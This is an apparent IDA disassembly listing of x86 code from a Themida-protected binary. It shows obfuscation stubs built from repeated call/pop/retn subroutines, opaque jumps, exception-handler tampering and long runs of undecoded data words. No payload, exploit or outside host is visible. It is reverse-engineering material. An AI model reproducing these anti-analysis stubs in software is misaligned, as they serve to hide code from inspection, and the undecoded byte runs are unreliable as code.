		dd 2DF0D0BBh, 79BD8374h, 1060E0Dh, 3C850Fh, 26A0000h, 10E8h
		dd 0B6405C00h, 520805ECh, 0F0D6A89Bh, 0FC527BE7h, 0D995291Fh
		dd 5B060E23h, 3111BD8Bh, 0BF50060Eh, 4AAAABFBh,	8B240489h
		dd 0E17BD9Dh, 4995FF06h, 80060E1Eh, 58E9F1CFh, 0E800000Dh
		dd 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 612FBDCh
		push	0
		push	edi
		call	sub_5991EA
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5991EA	proc near		; CODE XREF: Themida_:005991E2p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5991EA	endp

; ---------------------------------------------------------------------------
		dw 0A700h
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_599207
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_599207	proc near		; CODE XREF: Themida_:005991FFp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_599207	endp

; ---------------------------------------------------------------------------
		dec	esi
		pop	edi
		mov	word ptr [ecx-55h], fs
		sub	edx, edi
		push	edx
		lea	eax, [ebp+6118405h]
		jno	loc_599235
		jmp	loc_599235
; ---------------------------------------------------------------------------
		dd 6EA06E20h
		db 20h
; ---------------------------------------------------------------------------


loc_599235:				; CODE XREF: Themida_:00599225j
					; Themida_:0059922Bj
		push	eax
		jmp	loc_599247
; ---------------------------------------------------------------------------
		or	[edx-15h], esp
		wait
		mov	ds:0DFB23A56h, eax
		sahf
		sbb	ah, [esi]


loc_599247:				; CODE XREF: Themida_:00599236j
		mov	[esp], eax
		push	0
		push	edx
		call	sub_599255
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_599255	proc near		; CODE XREF: Themida_:0059924Dp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_599255	endp

; ---------------------------------------------------------------------------
		db 5Ch,	0FAh, 0E6h
; ---------------------------------------------------------------------------
		sub	eax, [eax+64AAB796h]
		push	large dword ptr	ds:0
		pusha
		mov	eax, [ebp+60E0A35h]
		mov	ebx, 76EAE456h
		popa
		mov	large fs:0, esp
		push	0
		push	ecx
		call	sub_599293
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_599293	proc near		; CODE XREF: Themida_:0059928Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_599293	endp

; ---------------------------------------------------------------------------
		mov	ah, 67h
		sahf
		adc	bh, cl
		movsx	ebx, di
		inc	dword ptr [ebp+60E1475h]
		push	0
		push	ecx
		call	sub_5992BC
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5992BC	proc near		; CODE XREF: Themida_:005992B4p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5992BC	endp

; ---------------------------------------------------------------------------
		or	al, bl
		mov	[ebp+60E0E9Dh],	edi
		push	0FFFFFFFFh
		push	0
		push	ebp
		call	sub_5992E1
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5992E1	proc near		; CODE XREF: Themida_:005992D9p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5992E1	endp

; ---------------------------------------------------------------------------
		ja	short near ptr loc_5992F8+4
		xchg	eax, ebp
		pop	ebp
		sbb	ecx, [esi]
		push	es


loc_5992F8:				; CODE XREF: Themida_:005992F1j
		sub	edi, [ebp+60E1DD9h]
		push	dword ptr [ebp+60E19D5h]
		jmp	loc_59931C
; ---------------------------------------------------------------------------
		db 7, 0DEh, 0A9h
		dd 21E7549h, 16274B60h,	3E587A4Fh, 0CD72A17Ah
; ---------------------------------------------------------------------------


loc_59931C:				; CODE XREF: Themida_:00599304j
		call	dword ptr [ebp+60E2F81h]
		jmp	loc_599450
; ---------------------------------------------------------------------------
		db 89h
		dd 0E2F7585h, 0D3815306h, 8071D5Fh, 8B00B05Bh, 8B70E6D8h
		dd 0E1D7D9Dh, 8971E406h, 0E21B5B5h, 5E906h, 55270000h
		dd 3C1C45B0h, 0F5830F61h, 1000000h, 0E32F985h, 0C8B60F06h
		dd 0F49B509h, 6BA060Eh,	0E8000000h, 5, 0C9DCEDAh, 21B5298Dh
		dd 5F060E1Dh, 0FEBBC18Bh, 0C14F6E0Eh, 0BB6604E8h, 0F766B44Ch
		dd 0ED8589E2h, 2B060E02h, 8E9C8h, 0CAD70000h, 9BE1BA11h
		dd 8B56F911h, 0E2AA9BDh, 0D18B5F06h, 2F219D8Bh,	95E9060Eh
		dd 8B000000h, 0E0885BDh, 44858B06h, 8B5F4C4Ch, 0E338D9Dh
		dd 7C08306h, 6810Fh, 0B5010000h, 60E2FC9h, 8000C083h, 0D03BB9EFh
		dd 2E830Fh, 12E90000h, 36000000h, 79F1D2C0h, 0D58DF758h
		dd 76A9D51Fh, 2C17FB6Ch, 4AE9C2h, 0CB810000h, 2D6A5C0h
		dd 5DFBF60h, 0B8B90619h, 617AE231h, 0FFFF8D8Bh,	8B52FFFFh
		dd 0E04B99Dh, 0E1835F06h, 21840F01h, 66000000h,	0A583FA8Bh
		dd 0FFFFFFFFh, 8B0FFEh,	89000000h, 4C4C4495h, 0ADBD8B5Fh
		dd 0E9060E18h, 0
; ---------------------------------------------------------------------------


loc_599450:				; CODE XREF: Themida_:00599322j
		lea	esi, [ebp+6127596h]
		movsx	edi, bx
		push	0
		add	bx, 0B4E8h
		call	dword ptr [ebp+60E0F45h]
		push	0
		push	edi
		call	sub_599471
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_599471	proc near		; CODE XREF: Themida_:00599469p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_599471	endp

; ---------------------------------------------------------------------------
		db 0D6h, 7Dh, 8Bh
; ---------------------------------------------------------------------------
		mov	ebp, 60E0E95h
		mov	ecx, 10ACh
		push	0
		push	ebx
		call	sub_599499
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_599499	proc near		; CODE XREF: Themida_:00599491p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_599499	endp

; ---------------------------------------------------------------------------
		sub	esp, cs:[eax-75h]
		retn
; ---------------------------------------------------------------------------
		mov	[ebp+60E23CDh],	ebx
		popa
		and	ecx, 0FFFFFFFCh
		sub	ebx, 678B4F1Ah
		cld
		push	0
		push	edx
		call	sub_5994CA
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5994CA	proc near		; CODE XREF: Themida_:005994C2p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5994CA	endp

; ---------------------------------------------------------------------------
		dw 9FC6h
		dd 0D6612EDh, 6AA7781Dh, 0B8F5h, 8B660000h, 89D22BFBh
		dd 0E2C8185h, 0C233AD06h, 0D003E8D1h, 7504E983h, 56006AF4h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 6CB196F3h, 60F8267Ch, 13E9h,	0A7A7EB00h, 6BC24C23h
		dd 7A41D9F5h, 2EB3515Ah, 80DFD4D9h, 82D08166h, 0DB8161AAh
		dd 5187349Bh, 9E9h, 887A1F00h, 0EA88390h, 0BD8BBD75h, 60E089Dh
		dd 880Dh, 14E800h, 0C4230000h, 625EFC83h, 5F26FD7Ah, 123E4014h
		dd 0B37BB659h, 9D33C4B8h, 60E1A0Dh, 0F381665Fh,	958BEAAFh
		dd 60E2FC5h, 818D8BF9h,	6A060E08h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 7494C353h
		dd 8AB4330Dh, 7E9h, 0CB83E100h,	6ABCE889h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 3F91C7C3h, 0E2E95E65h
		dd 960E95Ah, 0E1AF5B5h,	698D8B06h, 61060E1Eh, 0C6DBD83h
		dd 0F00060Eh, 9484h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 3737B8CCh, 5CAC783Ch
		dd 0B8FAB70Fh, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_599647
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_599647	proc near		; CODE XREF: Themida_:0059963Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_599647	endp

; ---------------------------------------------------------------------------
		test	[eax-0Bh], edx
		pop	edi
		jnb	loc_599667
		mov	edi, [ebp+60E02E5h]


loc_599667:				; CODE XREF: Themida_:0059965Bj
		lea	ecx, [ebp+60E4DD1h]
		and	ebx, 4918FD30h
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_599680
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_599680	proc near		; CODE XREF: Themida_:00599678p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_599680	endp

; ---------------------------------------------------------------------------
		dd 0EE9DBF9h, 0D2000000h, 0FE170D90h, 0A9AA98E5h, 73EDA6DDh
		dd 0D9BD838Dh, 60E28h, 414840Fh, 9D8B0000h, 60E0F51h, 84F3CF81h
		dd 0BD831A6Bh, 60E28D9h, 16840F01h, 0FC000004h,	4FA3CB81h
		dd 0BD830908h, 60E28D9h, 0CC860F03h, 0F000003h,	681h, 0B5BD8B00h
		dd 66060E29h, 6F36C781h, 56006A60h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 0AF32A042h, 700196C3h
		dd 0DB808D36h, 0D98C66F1h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 74C35040h, 0E18039A3h, 0FC90A04h, 12E84h
		dd 0D9B70F00h, 17F9858Bh, 8166060Eh, 33D36AEBh,	0E1D1D85h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 56FE9656h, 11BB6650h, 240489DBh,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 7CC35141h, 3ECDC766h
		dd 6AFBB70Fh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 89AA8282h, 0E1AA5BDh, 4E806h, 3FF0000h
		dd 8B66001Fh, 0E6BF50D8h, 8B65060Ah, 52042444h,	353684BBh
		dd 8B5B08h, 0FE952h, 657A0000h,	6DA10FABh, 0A7731F43h
		dd 0B03349BFh, 44895FD3h, 75BF0424h, 5845B997h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0C3C35040h, 416652BBh
		dd 0D595FF1Ch, 60060E0Eh, 1E75B509h, 5E9060Eh, 0C0000000h
		dd 38AC60Ch, 7B858961h,	230611A0h, 0E07459Dh, 1E8E906h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 100FB4C3h, 8BFB8B66h, 11A07385h, 0E1BD8B06h
		dd 0C7060E1Bh, 1800h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 3EDCF751h, 90A6D696h
		dd 0EB81FCB1h, 5EBD135Dh, 0A077B58Bh, 8B660611h, 35858BFBh
		dd 0F8060E14h, 6A0689h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 40211AC3h, 899D2B85h, 89060E2Dh
		dd 0E34D195h, 0F9858B06h, 6A060E17h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 3820C355h
		dd 1F10179h, 0E0F719Dh,	9EECBB06h, 30B37889h, 29044689h
		dd 0E136D85h, 0FB8B9606h, 0CE950h, 358D0000h, 81403D91h
		dd 853D7404h, 6A96B460h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 0AC5AC357h,	0E251FB46h
		dd 8166F072h, 0FF462CEFh, 11A073B5h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 0E9BDFE9Fh
		dd 9531E847h, 60E00DDh,	0B4174468h, 2404819Ah, 656AECBBh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 28C35747h
		dd 858D39E1h, 611A07Bh,	9F59529h, 5090060Eh, 4870F52h
		dd 66000000h, 0FDBB5BFh, 3A54BB31h, 585A1849h, 6E950h
		dd 128E0000h, 397E6189h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 722F926Fh, 6810Fh, 0BD890000h
		dd 60E2315h, 0ED595FFh,	6A060Eh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 6A6118C3h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0B51AC353h, 0CEAE810Ah, 9D8B32E9h, 60E28E9h,	28D985C7h
		dd 3060Eh, 0BD830000h, 611A07Bh, 30840F00h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0F588C356h, 27E972D8h, 0F000000h,	68Ah, 45852900h
		dd 50060E0Ch, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 603D07C3h, 8B94D480h, 0E248985h
		dd 10E96106h, 86000000h, 8BFD1117h, 18A43F4Ah, 220FD621h
		dd 8AD1D8DAh, 0D9BD83FAh, 3060E28h, 396850Fh, 66600000h
		dd 3E79DF81h, 836127B6h, 11A07BBDh, 840F0006h, 380h, 0AE8h
		dd 8240A800h, 0D274F3F0h, 8B36571Dh, 0E23A59Dh,	0B5FF5F06h
		dd 611A07Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	0FDC35242h, 0FE6864C8h,	8D595FFh, 10E9060Eh, 5A000000h
		dd 0D749EBC8h, 0C443050h, 6C68720Ah, 8B45F985h,	11A06FB5h
		dd 0C1BD8B06h, 0C7060E13h, 1000106h, 53006A00h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0F3816602h
		dd 56500FC3h, 895B44B7h, 0DE92434h, 0A1000000h,	11EC6290h
		dd 8091DE4h, 97842006h,	0A07BB5FFh, 6A0611h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0C26868C3h
		dd 0CE968EFh, 93000000h, 0F0C024B8h, 602E08A1h,	0FF3A0E87h
		dd 0E101995h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 0DB852613h, 0D02D0FBFh, 0FA8B6653h
		dd 6810Fh, 9D8B0000h, 60E0B05h,	0A06FB58Bh, 858B0611h
		dd 60E00A9h, 0ED7440BBh, 0C4868923h, 6A000000h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 0BE21C353h, 0C5958B50h, 29060E2Fh, 0E202D9Dh, 4C28306h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0E7C35141h
		dd 588C8866h, 458D3150h, 89060E1Eh, 9D8B2050h, 60E0C25h
		dd 0B41C858Dh, 95890611h, 60E2FF1h, 0B88689h, 6E90000h
		dd 7D000000h, 6FD55D29h, 6A006A94h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 972EC356h
		dd 3870Fh, 8B660000h, 7BB5FFDEh, 6A0611A0h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0CEF8C356h
		dd 0D98B6653h, 1E4995FFh, 6650060Eh, 895248BBh,	81662434h
		dd 0FF4A66EBh, 11A07BB5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 2D4A619Dh
		dd 7C1CAF05h, 16D195FFh, 0B509060Eh, 60E0BE5h, 5E8h, 85DA0100h
		dd 14E9EF07h, 47000000h, 0C7B193EEh, 642F74AEh,	2E23E971h
		dd 0A447B589h, 5FA4ACE0h, 30D5BD83h, 0F00060Eh,	1484h
		dd 89DA8B00h, 0E0AD595h, 0DE8B5006h, 3243489h, 0E34799Dh
		dd 7BB5FF06h, 890611A0h, 0E163DBDh, 8195FF06h, 6A060E29h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0C529C356h, 0A07BB5FFh, 0BF660611h, 0BD8B8EA0h
		dd 60E07C5h, 1ABD95FFh,	6A060Eh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 30E2EFC3h, 9D8BA746h
		dd 60E1491h, 68F0Fh, 0BD8B0000h, 60E0899h, 29D5BD83h, 0F02060Eh
		dd 6E84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 94E8F9Bh,	0E32D105Bh, 32219589h
		dd 8166060Eh
		dd 8B1AC5F3h, 0E07D185h, 2DBD8B06h, 0C6060E2Eh,	6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 6097ABC3h, 5E8h, 99358500h, 5AF8B4A8h, 34958D89h, 0C761060Eh
		dd 0E351585h, 6, 0C9F78000h, 0FFF3EFE9h, 8B6060FFh, 0E0A819Dh
		dd 890F06h, 61000000h, 45C08160h, 3148DD05h, 0E21DD95h
		dd 8B616106h, 52006AC1h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 0D385EE61h, 0EEBF1C8Eh, 8D21296Ah
		dd 0E19C185h, 5E906h, 0F2000000h, 90CBFE05h, 50F98B66h
		dd 6A90DE8Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 76C2C352h, 62572957h, 5845E4F9h
		dd 7532EB81h, 6A0569h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 0E4C35242h, 0F96CF18Fh, 6A006Ah, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 810F8DC3h, 45DA2BCBh, 3A858D04h, 3306130Bh, 0E1BC99Dh
		dd 5C08306h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	0B5C35545h, 285D7AC2h, 0A1B58956h, 5F060E1Bh, 29F99D8Bh
		dd 0E890060Eh, 13h, 657914C6h, 9215E8E8h, 0B6B9CFADh, 0A11D8C9Bh
		dd 665EA833h, 5BA290BBh, 6A9050h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 4B18DEC3h, 9589947Fh
		dd 60E1D11h, 0DB816657h, 6A5F0C95h, 29E9BF00h, 6A1A7Fh
		dd 5E9h, 7F2E2100h, 95FF3E51h, 60E2FE1h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Dh, 0B8C35646h, 10981B28h
		dd 0CB52CC0h, 0A99D8B25h, 8D060E20h, 11924B8Dh,	419D8B06h
		dd 0FF060E1Eh, 52006AD1h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 66759DE1h, 8377C3BFh
		dd 0E0D79BDh, 850F0106h, 76h, 7950F381h, 0DE8A74B9h, 6A026Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 90BE8FC3h, 310F5250h, 0F50585Ah, 1585h, 0DE800h, 97B30000h
		dd 439E6665h, 610537C6h, 8B94BBA2h, 66905BFEh, 0D6B7D88Bh
		dd 1E4995FFh, 6A060Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0BB66E5C3h, 0B1E9DE26h, 0E800000Ch
		dd 0
		dd 44ED815Dh, 0E806130Bh, 0Dh, 1BDE69B4h, 4F431D26h, 0BD131041h
		dd 6A5BFC6Ch, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 8D97C350h, 11840585h, 0DFB70F06h
		dd 24048950h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Ah,	94C35242h, 22C58C83h, 0FF643C68h, 35h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0AF41D4BBh, 0BA9FDD58h, 0D38A60EFh, 61C8B70Fh, 258964h
		dd 0FF000000h, 0E147585h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0FF6A9A19h
		dd 0BAD1F381h, 0B5FF5E6Ah, 60E183Dh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 25C35242h, 0ACC38166h, 8195FF2Bh
		dd 0E9060E2Fh, 0E8h, 0B0F88Bh, 6E9h, 46D92000h,	0E65F51CEh
		dd 269CBF70h, 71E46070h, 8BCB8166h, 0F613C02h, 0C383h
		dd 0C8B60F00h, 2EF27CBFh, 6BA32h, 81660000h, 8BACEDDFh
		dd 0E8C1F9C1h, 0E2F76604h, 945B531h, 0C82B060Eh, 0F780D18Bh
		dd 95E9F5E3h, 2B000000h, 0E09F59Dh, 50858B06h, 0E947554Ch
		dd 8, 4843484Bh, 5224122Bh, 8B07C083h, 0C083DFh, 3A99D89h
		dd 0D03B060Eh, 23830Fh,	0C7810000h, 34A2A33h, 5BE9h, 11E800h
		dd 0D20C0000h, 0BF94AA25h, 9195E6DCh, 0D5A5E59Dh, 0F59C8447h
		dd 0FF8D8B5Fh, 66FFFFFFh, 83DCA6BFh, 840F01E1h,	30h, 1019D2Bh
		dd 0A583060Eh, 0FFFFFFFFh, 89FB8BFEh, 554C5095h, 11E947h
		dd 0CEBA0000h, 0FC7B39BDh, 0E9B2D496h, 0E642772Eh, 0E9AA3D23h
		dd 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+6128BA6h]
		mov	[ebp+60E0A21h],	edi
		mov	bx, 2D0Bh
		push	0
		push	0
		push	ecx
		call	sub_59A341
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59A341	proc near		; CODE XREF: Themida_:0059A339p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_59A341	endp

; ---------------------------------------------------------------------------
		or	dl, [edx+15h]
		jmp	loc_59A362
; ---------------------------------------------------------------------------
		icebp
		jnp	short sub_59A3D0
		cmp	bh, [eax-68E26D1Bh]


loc_59A362:				; CODE XREF: Themida_:0059A354j
		call	dword ptr [ebp+60E0F45h]
		push	0
		push	ebp
		call	sub_59A373
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59A373	proc near		; CODE XREF: Themida_:0059A36Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_59A373	endp

; ---------------------------------------------------------------------------
		scasb
		or	[ebx+0E3425BDh], cl
		push	es
		sub	[ebp+60E0D95h],	ebx
		mov	ecx, 100Bh
		push	0
		push	ebx
		call	sub_59A3A1
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59A3A1	proc near		; CODE XREF: Themida_:0059A399p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_59A3A1	endp

; ---------------------------------------------------------------------------
		js	short sub_59A3D0
		mov	di, si
		mov	[ebp+60E1F05h],	eax
		mov	ebx, [ebp+60E1B35h]
		and	ecx, 0FFFFFFFCh
		push	0
		push	ebp
		call	sub_59A3D0
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59A3D0	proc near		; CODE XREF: Themida_:0059A35Aj
					; Themida_:0059A3B1j ...

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_59A3D0	endp

; ---------------------------------------------------------------------------
		dd 7DDBE553h, 8374E24Bh, 8531B9ACh, 60E2505h, 0E97995BBh
		dd 6AFC02h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 6FB9DC3h,	9C8B2FE1h, 0A8CB81EBh, 2B4A8A8Ah
		dd 798D29C0h, 2B060E15h, 55006AD2h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0F18589AAh, 0AD060E07h
		dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 6E6EC357h
		dd 676FBE06h, 7B660D3h,	6101C480h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0EBC35242h,	4C23A7A7h, 0D9F56BC2h
		dd 20759D8Bh, 880D060Eh, 8B000000h, 0E1E219Dh, 0C5958B06h
		dd 6A060E2Fh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 9993C356h, 6A3016AEh, 0CD9D0B99h
		dd 0F9060E29h, 8818D8Bh, 840F060Eh, 6, 2F19589h, 8B50060Eh
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 36C35545h, 52006A56h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0C5DAC1A6h, 0BD83F460h, 60E0C6Dh, 79840F00h,	0F000000h
		dd 0B8F9B7h, 6A000000h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 1CAC355h, 0E18CDBDh
		dd 0D18D8D06h, 6A060E4Dh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 1679C351h, 0C5957259h
		dd 0BB66DF8Bh, 0E1FF0145h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 3AC35747h, 977BBF66h,	28D9BD83h, 0F00060Eh
		dd 38584h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1B04h, 0C3504000h, 0E83DA94Ah, 91AF7010h, 28D9BD83h
		dd 0F01060Eh, 37084h, 59D0900h,	0E9060E1Eh, 6, 0B3B5DD5Eh
		dd 0BD83FEB2h, 60E28D9h, 1C860F03h, 29000003h, 0E197195h
		dd 6A6006h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 9D8B0AC3h, 60E0009h, 6AD98C66h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 0BF6FC356h, 0F725B1C1h, 0E93B9050h, 0Ch, 0C564032Bh
		dd 314408Ah, 1B0B2B5Fh,	0BFF333BBh, 4E18055h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0A0C35545h, 705426B0h
		dd 9D8B6723h, 60E0D4Dh,	840FC90Ah, 0B0h, 4800Fh, 8B520000h
		dd 858B5FFEh, 60E17F9h,	195D8D89h, 8533060Eh, 60E1D1Dh
		dd 17EF8166h, 0D98B50ADh, 0E8240489h, 13h, 41D2F0BBh, 54E442BDh
		dd 0BA5F4C6Eh, 4FE3BBAFh, 239116E1h, 0E08999Dh,	6A5B06h
		dd 68F0Fh, 0DF810000h, 3FA7E686h, 96481968h, 8107B73Bh
		dd 4BE62434h, 85893B89h, 60E1CC5h, 15999D8Bh, 95FF060Eh
		dd 60E0ED5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	6EC35242h, 90BBAE24h, 9D8972BCh, 60E09FDh, 0A07B8589h
		dd 0B5890611h, 60E22E9h, 162E9h, 0FE8B6600h, 0A073858Bh
		dd 6A0611h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0C7D8C3h,	18h, 0C659D89h,	0B58B060Eh, 611A077h
